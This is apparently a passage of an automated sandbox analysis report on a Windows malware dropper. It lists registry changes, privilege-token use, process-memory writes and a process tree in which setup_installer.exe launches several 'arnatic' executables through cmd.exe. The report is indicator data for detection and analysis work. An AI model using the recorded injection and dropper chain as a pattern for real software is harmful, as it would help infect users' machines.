description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings MicrosoftEdgeCP.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "6096" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionHigh = "268435456" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url3 = "https://signin.ebay.com/ws/ebayisapi.dll" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\Extensions MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "{68EA7E8D-2A30-4A47-8BB8-93F252543915}" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\VendorId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{2F9F2358-35B2-4AE4-B697-0607B5006C0F}" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{EL1681II-FO1F-AN2G-81K3-DNI5R86H5R6K} rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = e5f6152db47dd701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OpenSearch MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\CIPolicyState = "0" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 89684542b47dd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-SubSysId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\PrivacyAdvanced = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main\JumpListFirstRun = "3" MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{QJ2559JN-BF7A-LM2A-20M4-JBF9M43Q7G3S}\1 = "4640" svchost.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0" MicrosoftEdge.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B72164C = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = 01000000cbecde8563c4d06b8559047eec45bebafb7c422cc7e38f9b708b49117400a7f7725d9f7668127409978fecef4c2520df528780d90d31a444bc7edc830b91 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-DeviceId = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings MicrosoftEdgeCP.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F}\7289246C77593EBF svchost.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{IY7880QH-GQ0R-SG6F-75Z5-PGQ2S76C3D6F}\7289246C77593EBF\2 = "1" svchost.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\ProgramData\7Q9YWIV3E5EG54V1.exe:Zone.Identifier 1579.exe File opened for modification C:\ProgramData\7Q9YWIV3E5EG54V1.exe:Zone.Identifier 1579.exe -
Runs .reg file with regedit 2 IoCs
pid Process 5588 regedit.exe 5352 regedit.exe -
Runs ping.exe 1 TTPs 2 IoCs
pid Process 5948 PING.EXE 3896 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3648 arnatic_2.exe 3648 arnatic_2.exe 4164 rundll32.exe 4164 rundll32.exe 2296 svchost.exe 2296 svchost.exe 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3336 WerFault.exe 3052 Process not Found 3052 Process not Found 3336 WerFault.exe 3336 WerFault.exe 3052 Process not Found 3052 Process not Found 3052 Process not Found 3052 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3052 Process not Found -
Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 3648 arnatic_2.exe 6044 MicrosoftEdgeCP.exe 6044 MicrosoftEdgeCP.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1856 arnatic_4.exe Token: SeDebugPrivilege 2820 arnatic_6.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 2296 svchost.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 4448 8854983.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found Token: SeDebugPrivilege 4164 rundll32.exe Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found Token: SeDebugPrivilege 4164 rundll32.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeAuditPrivilege 2448 svchost.exe Token: SeDebugPrivilege 4164 rundll32.exe Token: SeAuditPrivilege 2448 svchost.exe Token: SeAuditPrivilege 2448 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2676 svchost.exe Token: SeIncreaseQuotaPrivilege 2676 svchost.exe Token: SeSecurityPrivilege 2676 svchost.exe Token: SeTakeOwnershipPrivilege 2676 svchost.exe Token: SeLoadDriverPrivilege 2676 svchost.exe Token: SeSystemtimePrivilege 2676 svchost.exe Token: SeBackupPrivilege 2676 svchost.exe Token: SeRestorePrivilege 2676 svchost.exe Token: SeShutdownPrivilege 2676 svchost.exe Token: SeSystemEnvironmentPrivilege 2676 svchost.exe Token: SeUndockPrivilege 2676 svchost.exe Token: SeManageVolumePrivilege 2676 svchost.exe Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found Token: SeAuditPrivilege 2448 svchost.exe Token: SeAuditPrivilege 2448 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2676 svchost.exe Token: SeIncreaseQuotaPrivilege 2676 svchost.exe Token: SeSecurityPrivilege 2676 svchost.exe Token: SeTakeOwnershipPrivilege 2676 svchost.exe Token: SeLoadDriverPrivilege 2676 svchost.exe Token: SeSystemtimePrivilege 2676 svchost.exe Token: SeBackupPrivilege 2676 svchost.exe Token: SeRestorePrivilege 2676 svchost.exe Token: SeShutdownPrivilege 2676 svchost.exe Token: SeSystemEnvironmentPrivilege 2676 svchost.exe Token: SeUndockPrivilege 2676 svchost.exe Token: SeManageVolumePrivilege 2676 svchost.exe Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found Token: SeShutdownPrivilege 3052 Process not Found Token: SeCreatePagefilePrivilege 3052 Process not Found -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 3052 Process not Found 3052 Process not Found -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 3052 Process not Found 5864 MicrosoftEdge.exe 6044 MicrosoftEdgeCP.exe 6044 MicrosoftEdgeCP.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3052 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1496 wrote to memory of 2848 1496 1A62A7EBF208B538DB86F5BE062DFEE8.exe 75 PID 1496 wrote to memory of 2848 1496 1A62A7EBF208B538DB86F5BE062DFEE8.exe 75 PID 1496 wrote to memory of 2848 1496 1A62A7EBF208B538DB86F5BE062DFEE8.exe 75 PID 2848 wrote to memory of 624 2848 setup_installer.exe 77 PID 2848 wrote to memory of 624 2848 setup_installer.exe 77 PID 2848 wrote to memory of 624 2848 setup_installer.exe 77 PID 624 wrote to memory of 3288 624 setup_install.exe 80 PID 624 wrote to memory of 3288 624 setup_install.exe 80 PID 624 wrote to memory of 3288 624 setup_install.exe 80 PID 624 wrote to memory of 3480 624 setup_install.exe 81 PID 624 wrote to memory of 3480 624 setup_install.exe 81 PID 624 wrote to memory of 3480 624 setup_install.exe 81 PID 624 wrote to memory of 3280 624 setup_install.exe 82 PID 624 wrote to memory of 3280 624 setup_install.exe 82 PID 624 wrote to memory of 3280 624 setup_install.exe 82 PID 624 wrote to memory of 1200 624 setup_install.exe 83 PID 624 wrote to memory of 1200 624 setup_install.exe 83 PID 624 wrote to memory of 1200 624 setup_install.exe 83 PID 3480 wrote to memory of 3648 3480 cmd.exe 86 PID 3480 wrote to memory of 3648 3480 cmd.exe 86 PID 3480 wrote to memory of 3648 3480 cmd.exe 86 PID 624 wrote to memory of 4048 624 setup_install.exe 84 PID 624 wrote to memory of 4048 624 setup_install.exe 84 PID 624 wrote to memory of 4048 624 setup_install.exe 84 PID 624 wrote to memory of 2852 624 setup_install.exe 85 PID 624 wrote to memory of 2852 624 setup_install.exe 85 PID 624 wrote to memory of 2852 624 setup_install.exe 85 PID 624 wrote to memory of 3680 624 setup_install.exe 93 PID 624 wrote to memory of 3680 624 setup_install.exe 93 PID 624 wrote to memory of 3680 624 setup_install.exe 93 PID 3680 wrote to memory of 1288 3680 cmd.exe 92 PID 3680 wrote to memory of 1288 3680 cmd.exe 92 PID 3280 wrote to memory of 3820 3280 cmd.exe 87 PID 3280 wrote to memory of 3820 3280 cmd.exe 87 PID 3280 wrote to memory of 3820 3280 cmd.exe 87 PID 4048 wrote to memory of 1456 4048 cmd.exe 88 PID 4048 wrote to memory of 1456 4048 cmd.exe 88 PID 4048 wrote to memory of 1456 4048 cmd.exe 88 PID 1200 wrote to memory of 1856 1200 cmd.exe 91 PID 1200 wrote to memory of 1856 1200 cmd.exe 91 PID 3288 wrote to memory of 2168 3288 cmd.exe 120 PID 3288 wrote to memory of 2168 3288 cmd.exe 120 PID 3288 wrote to memory of 2168 3288 cmd.exe 120 PID 2852 wrote to memory of 2820 2852 cmd.exe 90 PID 2852 wrote to memory of 2820 2852 cmd.exe 90 PID 2168 wrote to memory of 3588 2168 rundll32.exe 94 PID 2168 wrote to memory of 3588 2168 rundll32.exe 94 PID 2168 wrote to memory of 3588 2168 rundll32.exe 94 PID 1856 wrote to memory of 2168 1856 arnatic_4.exe 120 PID 1856 wrote to memory of 2168 1856 arnatic_4.exe 120 PID 1856 wrote to memory of 2168 1856 arnatic_4.exe 120 PID 4144 wrote to memory of 4164 4144 11111.exe 98 PID 4144 wrote to memory of 4164 4144 11111.exe 98 PID 4144 wrote to memory of 4164 4144 11111.exe 98 PID 2820 wrote to memory of 4200 2820 arnatic_6.exe 99 PID 2820 wrote to memory of 4200 2820 arnatic_6.exe 99 PID 2820 wrote to memory of 4248 2820 arnatic_6.exe 100 PID 2820 wrote to memory of 4248 2820 arnatic_6.exe 100 PID 2820 wrote to memory of 4248 2820 arnatic_6.exe 100 PID 4164 wrote to memory of 2296 4164 rundll32.exe 72 PID 2820 wrote to memory of 4328 2820 arnatic_6.exe 102 PID 2820 wrote to memory of 4328 2820 arnatic_6.exe 102 PID 2820 wrote to memory of 4328 2820 arnatic_6.exe 102 PID 2296 wrote to memory of 4340 2296 svchost.exe 101
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1068
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2808
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
- Modifies registry class
PID:2688
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2676
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2476
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2448
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1880
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1424
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1292
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1228
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1108
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:1012
-
C:\Users\Admin\AppData\Local\Temp\1A62A7EBF208B538DB86F5BE062DFEE8.exe"C:\Users\Admin\AppData\Local\Temp\1A62A7EBF208B538DB86F5BE062DFEE8.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS02B84404\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:624 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c arnatic_1.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Users\Admin\AppData\Local\Temp\7zS02B84404\arnatic_1.exearnatic_1.exe5⤵PID:2168
-
